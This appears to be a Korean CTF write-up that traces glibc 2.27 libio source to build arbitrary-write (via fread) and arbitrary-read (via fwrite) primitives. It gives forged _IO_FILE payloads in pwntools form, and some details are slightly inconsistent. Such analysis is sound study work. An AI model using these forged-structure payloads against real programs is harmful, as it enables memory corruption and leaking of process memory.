#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// /libio/genops.c
int
_IO_switch_to_get_mode (_IO_FILE *fp)
{
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF)
return EOF;
if (_IO_in_backup (fp))
fp->_IO_read_base = fp->_IO_backup_base;
else
{
fp->_IO_read_base = fp->_IO_buf_base;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
}
fp->_IO_read_ptr = fp->_IO_write_ptr;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_read_ptr;
fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}
libc_hidden_def (_IO_switch_to_get_mode)
_IO_switch_to_get_mode()함수를 호출하는데 이 함수에 대한 정의는 /libio/genops.c에 정의되어 있다
_IO_write_ptr이 _IO_write_base 보다 작거나 같아야 한다
나머지는 딱히 EOF로 리턴되거나 하지도 않고, SYSREAD에 인자로 들어가지 않는 값들을 조작하는 로직이라 딱히 신경 쓸 필요는 없다
read()로 AAW
1
2
3
4
5
6
7
8
9
10
11
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
_IO_SYSREAD 즉 플로우에 이어 실행될 read() 함수의 인자로 fp->_fineno, _IO_buf_base, _IO_buf_end-_IO_buf_base가 들어간다
(앞서 _IO_file_read() 함수에서 fp가 인자로 그대로 들어가지 않고 _fileno 멤버가 들어가는 것을 확인했다)
1
ssize_t read(int fd, void *buf, size_t count);
read() 함수의 프로토타입이다
알고 있듯이 buf 공간에 fd의 내용을 count 만큼 집어넣게 된다
그러면 결국 fp->_filno의 내용을 _IO_buf_base가 가리키는 공간에 _IO_buf_end-_IO_buf_base 길이 만큼 쓰게 된다
여기서 _fileno까지 stdin을 나타내는 0으로 설정해주면 내가 입력한 값을 특정 주소로 AAW가 가능하다
근데 다시 중요하게 봐야 할 조건이 하나 더 있다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// /libio/fileops.c
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
__underflow가 실행되기 위해서는 IO_buf_base가 존재하고, want 값이 _IO_buf_end-_IO_buf_base보다 크거나 같아야 한다
want는 인자로 받은 n인데 이 값은 fread() 함수에서 두번째 인자와 세번째 인자를 곱한 값이다
본 문제에서는 1023이기에 _IO_buf_end-_IO_buf_base의 값이 1023 이상이 되도록 만들면 된다
Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_flags = 0xfbad0000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = target, # overwrite_me
_IO_buf_end = target+1024, # buffer size >= 1024
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0, # stdin
payload = flat(
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end,
_IO_save_base, _IO_backup_base, _IO_save_end,
_markers, _chain, _fileno
)
pwntools에 있는 FileStructure을 사용하려 했으나 일부분만 덮어야 해서 보류한다
쓰려면 잘라서 쓸 수 있겠지만 굳이..
정리하면 다음과 같다
_IO_buf_base: 덮어쓸 주소_IO_buf_end: 덮어쓸 주소 + (버퍼 크기 이상의 값)_IO_fileno: stdin, 입력을 주어 AAW를 하기 위함
_IO_FILE AAR (Dreamhack #366) - Arbitrary Address Read
드림핵 문제를 풀고 있기에 이번에도 glibc 2.27 버전을 기준으로 작성하겠다
Code Analysis (glibc 2.27)
대략적인 분석 방향은 이전 AAW와 거의 비슷하다
위의 내용을 이해했다면 AAR도 추가적인 설명 없이 충분히 이해할 수 있기에 AAR는 AAW보다는 비교적 간단하게 써볼 예정이다
_IO_fwrite()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// /libio/iofwrite.c
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request);
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF)
return count;
else
return written / size;
}
libc_hidden_def (_IO_fwrite)
# include <stdio.h>
weak_alias (_IO_fwrite, fwrite)
fwrite()를 호출하면 _IO_fwrite()와 같은 동작을 수행하게 된다
CHECK_FILE로 fp를 먼저 검사하고 _IO_sputn()을 호출하게 되는데, 인자로는 fp, buf, request를 전달한다
여기에 fwrite() 함수로 전달했던 인자들을 사용하는데 buf, fp는 fwrite()에 직접적으로 들어갔던 인자들이고, request는 size*count이다
원래라면 fp 파일에 buf의 내용을 size*count 만큼 쓰는 동작을 하게 될 것이다
_IO_sputn()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// /libio/libioP.h
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
...
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
...
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
...
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_sgetn()은 결국 _IO_file_xsputn() 함수를 호출하게 되는 것을 확인할 수 있다
1
2
3
// /libio/fileops.c
versioned_symbol (libc, _IO_new_file_xsputn, _IO_file_xsputn, GLIBC_2_1);
_IO_file_xsputn()은 _IO_new_file_xsputn()과 같다
info symbol 명령어로도 확인해볼 수 있다
_IO_new_file_xsputn()
전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// /libio/fileops.c
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
이번에는 코드 분석과 함께 Up-to-Down을 약간 섞어 파일 구조체 조건까지 함께 보도록 한다
일단 결론부터 말하면 _IO_OVERFLOW() 함수를 실행하여 AAR을 할 수 있다
해당 함수를 실행하기 위해 앞의 조건들을 맞춰주어야 한다
1
2
3
// /libio/fileops.c
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
우선, _IO_new_file_xsputn() 함수에는 인자로, f, data, n이 들어간다
각각 fwrite()에 전달한 인자와 매칭시키면 fwrite()의 fp는 f, buf는 data 그리고 size*count가 n에 매치된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// /libio/fileops.c
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
일단 당연히 n이 0이거나 음수이면 안 된다
아무것도 안 쓰거나 뒤로 쓸 건 아니니까..
플래그 값도 검증하고 이것저것 값들을 만지는데 사실상 _IO_OVERFLOW()까지 가는 데에는 영향이 없다고 봐도 될 것 같다
data에 n 바이트가 다 들어간다면 해당 n 바이트 안에 개행 문자가 있는지 뒤에서부터 찾고, 만약 개행이 있다면 그 줄의 끝(개행 문자)까지만 write하고 flush하기 위해 must_flush를 1로 설정한다
(다 들어가지 않는다면 count는 fp 구조체의 _IO_buf_end와 _IO_write_ptr의 차)
플래그에 _IO_LINE_BUF(0x200)와 _IO_CURRENTLY_PUTTING(0x800)이 없다면 count는 fp 구조체의 _IO_write_end와 _IO_write_ptr의 차가 된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// /libio/fileops.c
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
}
to_do는 write해야 할 데이터의 크기로, data의 공간이 부족해 write하지 못한 남은 데이터가 있는 경우 그 남은 바이트가 to_do로 설정된다
이렇게 버퍼에 다 못 넣어 남은 데이터가 있거나 must_flush가 1로 설정되어 있다면 _IO_OVERFLOW() 함수를 실행시킬 수 있다
따라서, 이를 트리거하기 위해서는 _IO_write_end와 _IO_write_ptr을 잘 조작해서 to_do가 0보다 크도록 만들면 된다
_IO_OVERFLOW
1
2
3
4
5
6
7
// /libio/libioP.h
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
...
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
1
2
3
4
5
6
7
// /libio/fileops.c
versioned_symbol (libc, _IO_new_file_overflow, _IO_file_overflow, GLIBC_2_1);
...
JUMP_INIT(overflow, _IO_file_overflow),
_IO_OVERFLOW()는 _IO_file_overflow()를 호출하게 되는 것을 알 수 있다
_IO_file_overflow()는 _IO_new_file_overflow() 함수의 다른 이름이라고 봐도 무방하다
전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// /libio/fileops.c
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1
2
3
// /libio/fileops.c
_IO_new_file_overflow (_IO_FILE *f, int ch)
이전 코드의 _IO_new_file_xsputn() 함수에서도 확인했듯 _IO_new_file_overflow() 함수의 인자로는 fp와 EOF를 각각 f와 ch로 받는다
1
2
3
4
5
6
7
8
// /libio/fileops.c
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
플래그에 쓰기 권한이 없어야 한다 (_IO_NO_WRITES = 0x8)
EOF가 리턴되지 않게..
1
2
3
4
5
// /libio/fileops.c
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
_IO_do_write()를 호출하게 해야 한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// /libio/fileops.c
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
해당 조건문이 트리거되면 멤버값이 변경되므로 나중에 멤버값 조정하기 매우 귀찮아진다..
이를 방지하기 위해 _IO_CURRENTLY_PUTTING(0x800)을 플래그로 설정하지 않도록 한다
1
2
3
4
5
6
7
8
9
// /libio/fileops.c
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
...
versioned_symbol (libc, _IO_new_do_write, _IO_do_write, GLIBC_2_1);
_IO_do_write()는 _IO_new_do_write() 함수와 같다
인자로 f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base를 전달한다
_IO_new_do_write()
1
2
3
4
5
6
7
8
9
// /libio/fileops.c
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// /libio/fileops.c
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
_IO_new_do_write()는 new_do_write()로 이어진다
인자는 동일하다
_IO_read_end와 _IO_write_base가 같으면 _IO_SYSWRITE()를 호출하게 된다
만약 같지 않으면 return 0이 호출되는 것 같다
_IO_SYSWRITE()의 함수로는 인자로 fp, data, to_do가 전달된다
이 인자들은 _IO_new_do_write() 함수에서 받은 인자와 같다
_IO_SYSWRITE()
1
2
3
// /libio/fileops.c
versioned_symbol (libc, _IO_new_file_write, _IO_file_write, GLIBC_2_1);
_IO_SYSWRITE()는 _IO_file_write()함수를 호출하는 것을 볼 수 있다
그리고 _IO_file_write()는 _IO_new_file_write()와 같다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// /libio/fileops.c
_IO_ssize_t
_IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n)
{
_IO_ssize_t to_do = n;
while (to_do > 0)
{
_IO_ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? __write_nocancel (f->_fileno, data, to_do)
: __write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}
to_do가 n이기 때문에 당연히 양수일 것이고 __write() 함수가 실행되게 된다
__write()
플래그 조건이나 기타 조건들을 맞추어 디버깅해보면 __write() 함수는 write() 함수를 호출한다
이를 사용해서 AAR을 할 수 있다
특히 write()의 인자로 f->_fileno가 들어가는데 이 멤버값을 1로 조작하면 stdout으로 바꿀 수 있어서 특정 주소의 값을 stdout으로 출력 받아 AAR을 할 수 있다
Exploit
원리는 코드 분석과 함께 설명했으니 생략하고 페이로드만 조금 뜯어서 보자
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_flags = 0xfbad0800,
_IO_read_ptr = 0x0,
_IO_read_end = target,
_IO_read_base = 0x0,
_IO_write_base = target,
_IO_write_ptr = target+0x100,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x1 # stdout
payload = flat(
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end,
_IO_save_base, _IO_backup_base, _IO_save_end,
_markers, _chain, _fileno
)
정리하면 다음과 같다
_IO_write_base: 읽을 주소_IO_read_end:_IO_write_base와 같아야 한다_IO_write_ptr: 읽을 주소 + (읽을 바이트 길이)_fineno: stdout, 읽은 값 stdout으로 출력하여 AAR
다른 몇몇 글들에서는 _flags에 0x800 값을 OR하고 이 0x800이 _IO_IS_APPENDING 플래그라고 해놓았던데 _IO_IS_APPENDING은 0x1000이다..
아마 한 명이 잘못 써서 다른 사람들도 잘못 알게 된 것 같은데 glibc 2.27 코드에서 0x800은 _IO_CURRENTLY_PUTTING의 값이다













